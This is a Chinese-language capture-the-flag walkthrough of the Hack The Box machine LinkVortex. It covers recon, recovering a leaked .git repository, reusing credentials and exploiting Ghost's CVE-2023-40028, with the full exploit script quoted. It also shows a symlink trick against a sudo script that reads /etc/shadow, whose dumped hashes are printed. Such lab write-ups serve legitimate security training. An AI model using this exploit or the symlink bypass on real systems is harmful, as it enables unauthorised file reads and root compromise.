2024-12-07

LinkVortex

Machines#638EasyLinux

Tags: ghost**、git_leak、CVE-2023-40028、**Symbolic_link

Recon & Enum

PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
|_  256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
80/tcp    open     http    Apache httpd
|_http-title: Did not follow redirect to http://linkvortex.htb/
|_http-server-header: Apache
17037/tcp filtered unknown
23632/tcp filtered unknown
28739/tcp filtered unknown
52317/tcp filtered unknown
59144/tcp filtered unknown
59368/tcp filtered unknown

ffuf -u http://linkvortex.htb/ -H 'Host: FUZZ.linkvortex.htb' -w /usr/share/seclists/Discovery/DNS/n0kovo_subdomains.txt -fs 230
---
dev                     [Status: 200, Size: 2538, Words: 670, Lines: 116...]

feroxbuster -u http://linkvortex.htb/ -d 1
feroxbuster -u http://dev.linkvortex.htb/ -d 1

Shell as User

linkvortex.htb 页面是一个基于 ghost 的内容管理系统

可以访问默认的后台登录路径，这里先对前面的博客文章进行爬取

cewl -w res/web.dict http://linkvortex.htb/

dev.linkvortex.htb 是一个建设中的网站

可以使用 wget 全部下载下来，然后可以使用 git 恢复这些文件

wget -r http://dev.linkvortex.htb/.git/

删除多余文件，把 git 恢复一下

rm -rf icons index.html
git restore *

从文件名来看很像有凭据，检查一下

cat ghost/core/test/regression/api/admin/authentication.test.js | grep password

OctopiFociPilfer45
thisissupersafe
lel123456
12345678910
invalid_password

因为前面发现的登录窗口还需要用户名，也是邮箱，因此再看一下

[email protected]
[email protected]
[email protected]
[email protected]

然后爆破试一下，发现都不行，考虑到这些邮箱都是 example，所以给他换一下

[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]

基本把能想到的都枚举一下，再次尝试

[email protected] / OctopiFociPilfer45 登录成功，这里使用 git log 也能看到版本。

搜一下漏洞

这里的 CVE-2023-40028 符合版本信息，而且是一个任意文件读取漏洞，尝试利用一下

https://github.com/0xyassine/CVE-2023-40028

可以读取文件，但是读不到 root 的私钥，结合 dev 得到的仓库信息，应该是个 docker 环境。

看一下这个 web 服务有没有什么敏感文件

这里的 Dockerfile 会复制一个配置文件和两个 shell 脚本，先看看配置文件内容，这里也给了路径。

里面有 bob 用户的 mail 凭据 [email protected] / fibber-talented-worth，尝试登录 ssh

Local Enum

Shell as Root

#!/bin/bash

QUAR_DIR="/var/quarantined"

# 检查 CHECK_CONTENT 初始化
if [ -z $CHECK_CONTENT ];then
  CHECK_CONTENT=false
fi

LINK=$1
# 检查参数必须为 *.png
if ! [[ "$LINK" =~ \.png$ ]]; then
  /usr/bin/echo "! First argument must be a png file !"
  exit 2
fi
# 如果连接文件存在
if /usr/bin/sudo /usr/bin/test -L $LINK;then
  # 获取文件链接名
  LINK_NAME=$(/usr/bin/basename $LINK)、
  # 获取链接文件路径
  LINK_TARGET=$(/usr/bin/readlink $LINK)
  
  # 如果链接的文件路径包含 etc 或 root 则取消链接
  if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
    /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
    /usr/bin/unlink $LINK
    
  else
    # 否则输出发现链接，并将链接复制到 /var/quarantined 目录中
    /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
    /usr/bin/mv $LINK $QUAR_DIR/
    # 如果变量 CHECK_CONTENT 为 true，则打印链接的文件内容
    if $CHECK_CONTENT;then
      /usr/bin/echo "Content:"
      /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
    fi
  fi
fi

那么思路很清晰了，就是链接敏感文件，然后让他打印出内容，这里的小限制就是路径，可以通过二次链接来绕过。

# 链接敏感文件
ln -s /etc/shadow 1.png
# 二次链接消除链接的文件路径
ln -s 1.png 2.png
# 设置变量 CHECK_CONTENT
export CHECK_CONTENT=true
# 运行脚本，参数为 2.png
sudo /usr/bin/bash /opt/ghost/clean_symlink.sh 2.png

读取失败，尝试 3.png -> /home/bob/1.png

读取成功，同样可以读取一下 root 的 id_rsa

More and More

Dump Hash

root:$y$j9T$C3zg87gHwrCXO0vl4igIh/$iisf9sVwilKAi7mI5p1FqQslJWM9t2.YUWznIPC/XIA:19814:0:99999:7:::
daemon:*:19579:0:99999:7:::
bin:*:19579:0:99999:7:::
sys:*:19579:0:99999:7:::
sync:*:19579:0:99999:7:::
games:*:19579:0:99999:7:::
man:*:19579:0:99999:7:::
lp:*:19579:0:99999:7:::
mail:*:19579:0:99999:7:::
news:*:19579:0:99999:7:::
uucp:*:19579:0:99999:7:::
proxy:*:19579:0:99999:7:::
www-data:*:19579:0:99999:7:::
backup:*:19579:0:99999:7:::
list:*:19579:0:99999:7:::
irc:*:19579:0:99999:7:::
gnats:*:19579:0:99999:7:::
nobody:*:19579:0:99999:7:::
_apt:*:19579:0:99999:7:::
systemd-network:*:19579:0:99999:7:::
systemd-resolve:*:19579:0:99999:7:::
messagebus:*:19579:0:99999:7:::
systemd-timesync:*:19579:0:99999:7:::
pollinate:*:19579:0:99999:7:::
sshd:*:19579:0:99999:7:::
usbmux:*:19814:0:99999:7:::
bob:$6$rounds=656000$4p3mw8hAd9ir.25f$ocGm9nW1TM2AB8Z.l0K.hi43bOrm3oxQsaKFACMoS2UL.tIXxSW3u/xsClrvkEhP5s.GUpdIvCX3qRtppDV8r.:19814:0:99999:7:::
dnsmasq:*:19814:0:99999:7:::
_laurel:!:20057::::::

Creds

Exploit

#!/bin/bash

# Exploit Title: Ghost Arbitrary File Read
# Date: 10-03-2024
# Exploit Author: Mohammad Yassine
# Vendor Homepage: https://ghost.org/
# Version: BEFORE [ 5.59.1 ]
# Tested on: [ debian 11 bullseye ghost docker image ]
# CVE : CVE-2023-40028

#THIS EXPLOIT WAS TESTED AGAINST A SELF HOSTED GHOST IMAGE USING DOCKER

#GHOST ENDPOINT
GHOST_URL='http://linkvortex.htb'
GHOST_API="$GHOST_URL/ghost/api/v3/admin/"
API_VERSION='v3.0'

PAYLOAD_PATH="`dirname $0`/exploit"
PAYLOAD_ZIP_NAME=exploit.zip

# Function to print usage
function usage() {
  echo "Usage: $0 -u username -p password"
}

while getopts 'u:p:' flag; do
  case "${flag}" in
    u) USERNAME="${OPTARG}" ;;
    p) PASSWORD="${OPTARG}" ;;
    *) usage
       exit ;;
  esac
done

if [[ -z $USERNAME || -z $PASSWORD ]]; then
  usage
  exit
fi

function generate_exploit()
{
  local FILE_TO_READ=$1
  IMAGE_NAME=$(tr -dc A-Za-z0-9 </dev/urandom | head -c 13; echo)
  mkdir -p $PAYLOAD_PATH/content/images/2024/
  ln -s $FILE_TO_READ $PAYLOAD_PATH/content/images/2024/$IMAGE_NAME.png
  zip -r -y $PAYLOAD_ZIP_NAME $PAYLOAD_PATH/ &>/dev/null
}

function clean()
{
  rm $PAYLOAD_PATH/content/images/2024/$IMAGE_NAME.png
  rm -rf $PAYLOAD_PATH
  rm $PAYLOAD_ZIP_NAME
}

#CREATE COOKIE
curl -c cookie.txt -d username=$USERNAME -d password=$PASSWORD \
   -H "Origin: $GHOST_URL" \
   -H "Accept-Version: v3.0" \
   $GHOST_API/session/ &> /dev/null

if ! cat cookie.txt | grep -q ghost-admin-api-session;then
  echo "[!] INVALID USERNAME OR PASSWORD"
  rm cookie.txt
  exit
fi

function send_exploit()
{
  RES=$(curl -s -b cookie.txt \
  -H "Accept: text/plain, */*; q=0.01" \
  -H "Accept-Language: en-US,en;q=0.5" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "X-Ghost-Version: 5.58" \
  -H "App-Pragma: no-cache" \
  -H "X-Requested-With: XMLHttpRequest" \
  -H "Content-Type: multipart/form-data" \
  -X POST \
  -H "Origin: $GHOST_URL" \
  -H "Referer: $GHOST_URL/ghost/" \
  -F "importfile=@`dirname $PAYLOAD_PATH`/$PAYLOAD_ZIP_NAME;type=application/zip" \
  -H "form-data; name=\"importfile\"; filename=\"$PAYLOAD_ZIP_NAME\"" \
  -H "Content-Type: application/zip" \
  -J \
  "$GHOST_URL/ghost/api/v3/admin/db")
  if [ $? -ne 0 ];then
    echo "[!] FAILED TO SEND THE EXPLOIT"
    clean
    exit
  fi
}

echo "WELCOME TO THE CVE-2023-40028 SHELL"
while true; do
  read -p "file> " INPUT
  if [[ $INPUT == "exit" ]]; then
    echo "Bye Bye !"
    break
  fi
  if [[ $INPUT =~ \  ]]; then
    echo "PLEASE ENTER FULL FILE PATH WITHOUT SPACE"
    continue
  fi
  if [ -z $INPUT  ]; then
    echo "VALUE REQUIRED"
    continue
  fi
  generate_exploit $INPUT
  send_exploit
  curl -b cookie.txt -s $GHOST_URL/content/images/2024/$IMAGE_NAME.png
  clean
done

rm cookie.txt